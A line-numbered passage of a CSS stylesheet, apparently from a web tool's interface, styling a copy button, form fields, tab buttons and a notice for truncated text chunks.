var(--border-radius); 662 | cursor: pointer; 663 | transition: background-color var(--transition-speed) ease; 664 | flex-shrink: 0; 665 | margin-left: auto; 666 | } 667 | 668 | .copy-single-btn:hover { 669 | background-color: var(--primary-color); 670 | border-color: var(--primary-hover-color); 671 | color: white; 672 | } 673 | 674 | /* Form field improvements */ 675 | .form-group { 676 | margin-bottom: 15px; 677 | display: flex; 678 | flex-direction: column; 679 | gap: 5px; 680 | } 681 | 682 | /* Make the tabs more prominent */ 683 | .tab-button { 684 | margin-bottom: -1px; 685 | border: 1px solid transparent; 686 | border-bottom: none; 687 | } 688 | 689 | .tab-button.active { 690 | border: 1px solid var(--border-color); 691 | border-bottom: 1px solid var(--widget-bg-color); 692 | background-color: var(--widget-bg-color); 693 | position: relative; 694 | z-index: 2; 695 | } 696 | 697 | .tab-content { 698 | z-index: 1; 699 | } 700 | 701 | /* Add special styling for truncated text notice */ 702 | .truncated-chunk-notice { 703 | font-style: italic; 704 | color: var(--warning-color); 705 | text-align: center; 706 | padding: 5px 0; 707 | margin: 8px 0; 708 | border-top: 1px dashed var(--border-color); 709 | border-bottom: 1px dashed var(--border-color); 710 | } --------------------------------------------------------------------------------